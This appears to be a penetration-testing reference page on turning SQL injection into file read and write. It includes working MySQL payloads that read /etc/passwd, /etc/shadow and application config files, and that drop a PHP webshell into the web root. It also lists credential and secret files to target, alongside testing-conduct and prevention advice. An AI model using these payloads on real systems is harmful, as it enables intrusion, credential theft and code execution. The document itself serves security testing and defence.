File Read and Write
Turning a database query into filesystem access: reading configuration and credentials, and writing a webshell into a served directory.
Overview
Filesystem access widens an injection from "the data in this database" to "anything the database process can read or write". That typically includes application source, configuration files with credentials to other systems, private keys, and — if a web-served directory is writable — a path to code execution.
Every engine gates this behind a privilege, and most add a second configuration control on top. Check both before spending time here; a failed read usually means a missing privilege rather than a missing file, and the two are often indistinguishable from the error alone.
What Each Engine Requires
| Engine | Read | Write | Gated by |
|---|---|---|---|
| MySQL | LOAD_FILE() | INTO OUTFILE / DUMPFILE | FILE privilege + secure_file_priv |
| PostgreSQL | pg_read_file() / COPY FROM | COPY TO / lo_export() | superuser or pg_read_server_files / pg_write_server_files |
| MSSQL | OPENROWSET(BULK) / BULK INSERT | OLE automation / xp_cmdshell | ADMINISTER BULK OPERATIONS or bulkadmin; sysadmin for write |
| Oracle | UTL_FILE / external tables | UTL_FILE | EXECUTE on UTL_FILE + a DIRECTORY object |
| SQLite | Not possible | ATTACH DATABASE | Stacked queries + writable path |
Reading Files
-- Check feasibility first. An empty string means unrestricted;
-- NULL means file access is disabled entirely.
SELECT @@secure_file_priv;
SELECT @@datadir;
-- Read
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL-- -
-- LOAD_FILE returns NULL for a missing file, a permission failure,
-- OR a secure_file_priv violation. The three are indistinguishable.
-- It also returns NULL for files larger than max_allowed_packet.
-- Hex-encode to survive binary content and display mangling
' UNION SELECT NULL,HEX(LOAD_FILE('/etc/shadow')),NULL-- -Files Worth Reading
Prioritise files that expand access rather than merely confirming the read works.
Application configuration — almost always the highest value, because it holds credentials to the database you are already in plus API keys, mail credentials, and secrets for other services: config.php, .env, wp-config.php, settings.py, application.properties, appsettings.json, web.config, database.yml.
Database configuration — my.cnf, pg_hba.conf, and the PostgreSQL .pgpass, which may hold plaintext credentials.
Credentials and keys — ~/.ssh/id_rsa, ~/.aws/credentials, ~/.docker/config.json, Kubernetes service-account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token.
Source code — to find further vulnerabilities and hard-coded secrets, and to identify which framework you are against.
System context — /etc/passwd to confirm the read works and enumerate users; /proc/self/environ for environment variables, which often contain injected secrets; /proc/self/cmdline for the running command line.
In containers, /proc/self/environ is frequently the single most productive read: modern deployments inject secrets as environment variables.
Writing Files
Writing is the more serious capability, because a file written into a directory the web server executes is immediate code execution.
Requirements are cumulative: the write privilege, a path the database process can write to, and — for a webshell — that path being both inside the document root and served by an interpreter.
Finding the document root is often the hard part. Read the web server configuration, trigger a path-disclosing error, or check @@datadir and work outwards.
Write primitives
-- OUTFILE adds row and column separators — fine for text,
-- corrupts binaries.
' UNION SELECT NULL,'<?php system($_GET[0]); ?>',NULL
INTO OUTFILE '/var/www/html/s.php'-- -
-- DUMPFILE writes raw bytes with no formatting. Required for
-- binaries, and cleaner for a shell.
' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b203f3e
INTO DUMPFILE '/var/www/html/s.php'-- -
-- Constraints:
-- * INTO OUTFILE refuses to overwrite an existing file
-- * DUMPFILE writes a single row only
-- * both are subject to secure_file_priv
-- * the mysqld OS user must be able to write the target directory,
-- which on a properly configured host it cannotOperational Care
File writes are the point at which an authorized test starts leaving artefacts on the client's systems.
- Get explicit authorization for write testing. Read-only scope does not cover dropping files.
- Use unique, obvious filenames —
pentest-<date>-<initials>.php, nots.php. Anyone who finds it should immediately know what it is. - Restrict the shell. If you must drop one, restrict it to a token you hold rather than leaving
system($_GET[0])reachable by anyone who guesses the path. You have created a vulnerability more serious than the one you are reporting. - Record every path and include the list in your report.
- Remove them before you finish.
INTO OUTFILEfiles cannot be overwritten and often cannot be deleted through the database — you may need the client to remove them. - Never write into a production application's code directories without agreement; a deployment or integrity check may pick it up and trigger an incident.
Prevention
Parameterise to remove the injection. Then remove the capability independently, so that a future injection cannot reach the filesystem:
- MySQL: set
secure_file_priv=NULL; never grantFILEto an application account. It is a global privilege, not per-database. - PostgreSQL: never run applications as superuser; do not grant
pg_read_server_files,pg_write_server_files, orpg_execute_server_program. - MSSQL: do not grant
bulkadminorADMINISTER BULK OPERATIONS; keep OLE automation disabled; do not connect assysadmin. - Oracle: revoke
EXECUTE ON UTL_FILEfromPUBLIC; auditDIRECTORYobjects and who can read them. - All: run the database as an unprivileged OS user that cannot write to the web root, and mount the application's code read-only. Even a full file-write primitive is inert if there is nowhere useful to write.
Related
The routes from an injected query to a shell on the database host, and which engines hand it to you directly.
From a low-privilege database account to DBA, and from one database host to the next: credential harvesting, definer's-rights abuse, and linked-server pivoting.
Fingerprinting, syntax, metadata access, file operations and command execution on the most commonly encountered engine.
Strict typing, stacked queries, and COPY TO PROGRAM — the engine where an injection most reliably becomes command execution.
Appending an entirely separate statement after the original. Where supported it turns a read-only injection into arbitrary write access — and often into code execution.
Parameterisation removes the bug; these layers limit the blast radius when a parameterisation is missed. Least privilege, allowlists, monitoring, and what each is actually worth.